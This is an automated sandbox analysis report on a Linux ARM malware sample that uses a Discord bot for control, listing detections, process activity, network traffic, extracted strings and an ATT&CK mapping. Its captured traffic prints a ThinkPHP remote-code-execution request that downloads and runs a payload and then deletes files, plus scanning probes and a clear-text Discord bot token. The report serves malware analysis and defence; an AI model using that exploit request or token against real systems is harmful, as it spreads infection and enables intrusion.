Edit tour

Linux Analysis Report
arm.elf

Overview

General Information

Sample name:	arm.elf
Analysis ID:	1576128
MD5:	dbeac82331d523c5dbcded7503ec7885
SHA1:	3fa0e58bae109c4e30e2be7cd8cde401d459d592
SHA256:	13f87ac86969baf044e1b178a0d09ab8399665518cd445c227aa24383c89e763
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Executes the "uname" command used to read OS and architecture name

Found strings indicative of a multi-platform dropper

Reads the 'hosts' file potentially containing internal network hosts

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576128
Start date and time:	2024-12-16 15:12:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/0@4/0

Runtime Messages

Command:	/tmp/arm.elf
PID:	6210
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	error opening connection to Discord: websocket: bad handshake
Standard Error:	2024/12/16 08:12:55 [DG0] wsapi.go:82:Open() error connecting to gateway wss://gateway.discord.gg/?v=9&encoding=json, websocket: bad handshake

Process Tree

system is lnxubuntu20

arm.elf (PID: 6210, Parent: 6124, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm.elf

arm.elf New Fork (PID: 6216, Parent: 6210)

uname (PID: 6216, Parent: 6210, MD5: 4ac7c634c5bec95753c480e9d421dcc2) Arguments: uname -a

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: arm.elf

ReversingLabs: Detection: 21%

Source: arm.elf

String: x509: invalid signature: parent certificate cannot sign this kind of certificatecrypto/ecdh: internal error: nistec ScalarBaseMult failed for a fixed-size inputrefusing to use HTTP_PROXY value in CGI environment; see golang.org/s/cgihttpproxyx509: a root or intermediate certificate is not authorized to sign for this name: json: invalid use of ,string struct tag, trying to unmarshal unquoted value into %vx509: issuer has name constraints but leaf contains unknown or unconstrained name: (possibly because of %q while trying to verify candidate authority certificate %q)tls: downgrade attempt detected, possibly due to a MitM attack or a broken middleboxx509: signature algorithm specifies an %s public key, but have public key of type %Treflect.Value.Interface: cannot return value obtained from unexported field or methodreflect: New of type that may not be allocated in heap (possibly undefined cgo C type)x509: a root or intermediate certificate is not authorized for an extended key usage: http2: server sent GOAWAY and closed the connection; LastStreamID=%v, ErrCode=%v, debug=%qtls: handshake hash for a client certificate requested after discarding the handshake buffertls: unsupported certificate: private key is *ed25519.PrivateKey, expected ed25519.PrivateKeyb3312fa7e23ee7e4988e056be3f82d19181d9c6efe8141120314088f5013875ac656398d8a2ed19d2a85c8edd3ec2aefaa87ca22be8b05378eb1c71ef320ad746e1d3b628ba79b9859f741e082542a385502f25dbf55296c3a545e3872760ab73617de4a96262c6f5d9e98bf9292dc29f8f41dbd289a147ce9da3113b5f0b8c00a60b1ce1d7e819d7a431d7c90ea0e5fhttp: RoundTripper implementation (%T) returned a *Response with content length %d but a nil BodyNoClientCertRequestClientCertRequireAnyClientCertVerifyClientCertIfGivenRequireAndVerifyClientCertcipher: the nonce can't have zero length, or the security of the key will be immediately compromisedcgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.asn1: time did not serialize back to the original value and may be invalid: given %q, but serialized as %qhttp2: Transport: cannot retry err [%v] after Request.Body was written; define Request.GetBody to avoid this error39402006196394479212279040100143613805079739270465446667948293404245721771496870329047266088258938001861606973112319394020061963944792122790401001436138050797392704654466679469052796276593991132635693989563081522949135544336539426430051953eb9618e1c9a1f929a21a0b68540eea2da725b99b315f3b8b489918ef109e156193951ec7e937b1652c0bd3bb1bf073573df883d2c34f1ef451fd46b503f0000c6858e06b70404e9cd9e3ecb662395b4429c648139053fb521f828af606b4d3dbaa14b5e77efe75928fe1dc127a2ffa8de3348b3c1856a429bf97e7e31c2e5bd66011839296a789a3bc0045c8a5fb42c7d1bd998f54449579b446817afbd17273e662c97ee72995ef42640c550b9013fad0761353c7086a272c24088be94769fd1665068647976601306097149819007990813932172694353001433054093944634591855431833976560521225596406614545549772963113914808580371219879997166438125740282911150571516864797660130609714981900799081393217

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 194.67.20.130 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 141.147.101.109 ports 1,2,4,5,9,49152

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 50238 -> 49152
Source: unknown	Network traffic detected: HTTP traffic on port 45454 -> 49152

Source: global traffic	TCP traffic: 192.168.2.23:50238 -> 141.147.101.109:49152
Source: global traffic	TCP traffic: 192.168.2.23:45454 -> 194.67.20.130:49152

Source: /tmp/arm.elf (PID: 6210)

Reads hosts file: /etc/hosts

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 143.43.177.146
Source: unknown	TCP traffic detected without corresponding DNS query: 24.173.115.100
Source: unknown	TCP traffic detected without corresponding DNS query: 143.43.177.146
Source: unknown	TCP traffic detected without corresponding DNS query: 24.173.115.100
Source: unknown	TCP traffic detected without corresponding DNS query: 24.173.115.100
Source: unknown	TCP traffic detected without corresponding DNS query: 143.43.177.146
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 24.173.115.100
Source: unknown	TCP traffic detected without corresponding DNS query: 143.43.177.146
Source: unknown	TCP traffic detected without corresponding DNS query: 141.147.101.109
Source: unknown	TCP traffic detected without corresponding DNS query: 194.67.20.130
Source: unknown	TCP traffic detected without corresponding DNS query: 141.147.101.109
Source: unknown	TCP traffic detected without corresponding DNS query: 194.67.20.130
Source: unknown	TCP traffic detected without corresponding DNS query: 141.147.101.109
Source: unknown	TCP traffic detected without corresponding DNS query: 194.67.20.130
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 194.67.20.130
Source: unknown	TCP traffic detected without corresponding DNS query: 141.147.101.109
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 24.173.115.100
Source: unknown	TCP traffic detected without corresponding DNS query: 143.43.177.146
Source: unknown	TCP traffic detected without corresponding DNS query: 194.67.20.130
Source: unknown	TCP traffic detected without corresponding DNS query: 141.147.101.109
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /api/v9/gateway HTTP/1.1Host: discord.comUser-Agent: DiscordBot (https://github.com/bwmarrin/discordgo, v0.28.1)Authorization: Bot MTIzNDE4MTg2NjE2MDkxODYyOA.GK1mdg.SBSCzzggS2i32Np0teGED2q7Ow8nD_yr4YAKAYAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /?v=9&encoding=json HTTP/1.1Host: gateway.discord.ggUser-Agent: Go-http-client/1.1Accept-Encoding: zlibConnection: UpgradeSec-WebSocket-Key: VKWAdsrqGU1LfmgSQtgseQ==Sec-WebSocket-Version: 13Upgrade: websocket
Source: global traffic	HTTP traffic detected: GET /public/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl%20cd /tmp; wget https://github.com/20Matrix77/2FTS3/raw/main/disbot; chmod 777 ; ./disbot yarn; rm -rf HTTP/1.1Host: 24.173.115.100User-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /public/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl%20cd /tmp; wget https://github.com/20Matrix77/2FTS3/raw/main/disbot; chmod 777 ; ./disbot yarn; rm -rf HTTP/1.1Host: 143.43.177.146User-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /soap.cgi?service=WANIPConn1 HTTP/1.1Host: 141.147.101.109:49152User-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /soap.cgi?service=WANIPConn1 HTTP/1.1Host: 194.67.20.130:49152User-Agent: Go-http-client/1.1Accept-Encoding: gzip

Source: global traffic	DNS traffic detected: DNS query: discord.com
Source: global traffic	DNS traffic detected: DNS query: gateway.discord.gg

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 16 Dec 2024 14:12:56 GMTContent-Length: 0Connection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k2EYVRClQIVC5ombWcm%2FkAA8%2B8xY7XC2WAJJOYSxl2JdmwGMpSYC1MCUoQ%2FmQy9mQAsrxtKlpFgmbFpZo19NQYPy9XxqgxBMDl96AgM7AB8YHMxyZIaQbpfxxDaWMxRO3Wlf7A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Content-Type-Options: nosniffServer: cloudflareCF-RAY: 8f2f456a1a0e41ba-EWR

Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://141.147.101.109:49152/soap.cgi?service=WANIPConn1
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://141.147.101.109:49152/soap.cgi?service=WANIPConn1H
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://143.43.177.146
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://143.43.177.146/public/index.php?
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://143.43.177.146/public/index.php?::1
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://143.43.177.146/public/index.php?s=/Index/
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://143.43.177.146194.67.20.130:49152ter
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://194.67.20.130:49152/soap.cgi?service=WANIPConn1
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://194.67.20.130:49152/soap.cgi?service=WANIPConn1H
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://24.173.
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://24.173.115.100
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://24.173.115.100/public/index.php?
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://24.173.115.100/public/index.php?public
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://24.173.115.100/public/index.php?s=/Index/
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://24.173.115.100141.147.101.109:49152
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crlhttp://crl.dhimyotis.com/certignarootca.crl/etc/ssl/certs/C
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crlhttp://crl.dhimyotis.com/certignarootca.crlX
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl0;1
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl/etc/ssl/certs/COMODO_ECC_Certification_Auth
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl0
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crlw
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl0
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crlX
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl/etc/ssl/certs/GlobalSign_Root_CA_-_R3.pem/etc/ssl/certs/Global
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp, arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp, arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0H1
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl/etc/ssl/certs/ca-certificates.crt/etc/ssl/certs/ca-certificate
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://galassiahttp://24.173.tcpdiscord.com127.0.0.53:53notfound=return/etc/hosts/etc/hosts127.0.0.1
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://ocsp.accv.es
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://ocsp.accv.es0
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://policy.camerfirma.com0
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0;1
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp, arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp, arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0B1
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://www.accv.es00
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/0
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: arm.elf	String found in binary or memory: https://cdn.discordapp.com/AUTO_MODERATION_RULE_CREATEAUTO_MODERATION_RULE_DELETEAUTO_MODERATION_RUL
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://cdn.discordapp.com/banners/
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://cdn.discordapp.com/channel-icons/
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://cdn.discordapp.com/guilds/
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://cdn.discordapp.com/icons/
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://cdn.discordapp.com/role-icons/
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://cdn.discordapp.com/splashes/
Source: arm.elf	String found in binary or memory: https://discord.com/MESSAGE_REACTION_ADDTHREAD_MEMBER_UPDATEunmarshall
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9/
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9//sticker-packs
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9//voice/
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9//voice/regions
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9/09Az~~/etc/ssl/certs/a3418fda.0/etc/ssl/certs/a3418fda.0/etc/ssl/certs/a9
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9/applications
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9/channels/
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9/gateway
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9/gateway/bot
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9/guilds
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9/guilds/
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9/guilds/https://discord.com/api/v9/channels/https://discord.com/api/v9/use
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9/oauth2/
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9/oauth2/applications
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9/stage-instances
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9/stickers/
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://discord.com/api/v9/webhooks/
Source: arm.elf	String found in binary or memory: https://discord.com/developers/docs/reference#authentication-example-bot-token-authorization-headerh
Source: arm.elf	String found in binary or memory: https://github.com/20Matrix77/2FTS3/raw/main/disbot;
Source: arm.elf	String found in binary or memory: https://github.com/bwmarrin/discordgo
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: https://status.discord.com/api/v2/scheduled-maintenances/
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://status.discord.com/api/v2/scheduled-maintenances/active.json
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://status.discord.com/api/v2/scheduled-maintenances/active.jsonhttps://status.discord.com/api/v
Source: arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	String found in binary or memory: https://status.discord.com/api/v2/scheduled-maintenances/upcoming.json
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: https://www.catcert.net/verarrel
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: https://www.catcert.net/verarrel05
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53584
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50380
Source: unknown	Network traffic detected: HTTP traffic on port 53584 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50380 -> 443

Source: classification engine

Classification label: mal56.troj.linELF@0/0@4/0

Source: ELF file section

Submission: arm.elf

Source: submitted sample

Stderr: 2024/12/16 08:12:55 [DG0] wsapi.go:82:Open() error connecting to gateway wss://gateway.discord.gg/?v=9&encoding=json, websocket: bad handshake: exit code = 0

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 50238 -> 49152
Source: unknown	Network traffic detected: HTTP traffic on port 45454 -> 49152

Source: /tmp/arm.elf (PID: 6210)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/uname (PID: 6216)	Queries kernel information via 'uname':			Jump to behavior

Source: arm.elf, 6210.1.000056486da05000.000056486e098000.rw-.sdmp	Binary or memory string: mHV!/etc/qemu-binfmt/arm
Source: arm.elf, 6210.1.00007fffc16b2000.00007fffc16d3000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm.elf
Source: arm.elf, 6210.1.000056486da05000.000056486e098000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm.elf, 6210.1.00007fffc16b2000.00007fffc16d3000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm.elf, 6210.1.000056486da05000.000056486e098000.rw-.sdmp	Binary or memory string: rg.qemu.gdb.arm.sys.regs">
Source: arm.elf, 6210.1.000056486da05000.000056486e098000.rw-.sdmp	Binary or memory string: mHVrg.qemu.gdb.arm.sys.regs">
Source: arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	Binary or memory string: zJVSk/BwJVmcIGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5dd

Source: /tmp/arm.elf (PID: 6216)

Uname executable: /usr/bin/uname -> uname -a

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	1 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm.elf	21%	ReversingLabs	Linux.Trojan.Generic

Source	Detection	Scanner	Label	Link
http://143.43.177.146/public/index.php?	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

